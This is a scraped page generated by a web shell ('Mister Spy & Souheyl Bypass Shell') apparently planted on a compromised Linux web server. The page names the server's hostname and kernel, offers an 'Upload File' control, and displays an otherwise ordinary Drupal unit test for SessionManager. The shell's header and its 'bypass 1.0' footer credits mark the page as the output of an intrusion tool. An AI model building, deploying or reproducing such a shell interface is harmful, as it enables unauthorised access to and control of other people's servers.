Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/pallets/web/core/tests/Drupal/Tests/Core/Session/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/pallets/web/core/tests/Drupal/Tests/Core/Session/SessionManagerTest.php

<?php

namespace Drupal\Tests\Core\Session;

use Drupal\Core\Database\Connection;
use Drupal\Core\Session\MetadataBag;
use Drupal\Core\Session\SessionConfigurationInterface;
use Drupal\Core\Session\SessionManager;
use Drupal\Core\Site\Settings;
use Drupal\Tests\UnitTestCase;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\HttpFoundation\Session\Storage\Proxy\AbstractProxy;

/**
 * @coversDefaultClass \Drupal\Core\Session\SessionManager
 * @group Session
 */
class SessionManagerTest extends UnitTestCase {

  /**
   * @group legacy
   */
  public function testGetIdWithoutSession() {
    $connection = $this->createMock(Connection::class);
    $session_configuration = $this->createMock(SessionConfigurationInterface::class);
    $session_manager = new SessionManager(
      new RequestStack(),
      $connection,
      new MetadataBag(new Settings([])),
      $session_configuration,
      new FakeAbstractProxy()
    );

    $this->expectDeprecation('Calling Drupal\Core\Session\SessionManager::getId() outside of an actual existing session is deprecated in drupal:9.2.0 and will be removed in drupal:10.0.0. This is often used for anonymous users. See https://www.drupal.org/node/3006306');
    $this->assertNotEmpty($session_manager->getId());
  }

}

class FakeAbstractProxy extends AbstractProxy {

  /**
   * Stores the fake session ID.
   *
   * @var string
   */
  protected $id;

  public function setId($id) {
    $this->id = $id;
  }

  public function getId() {
    return $this->id;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net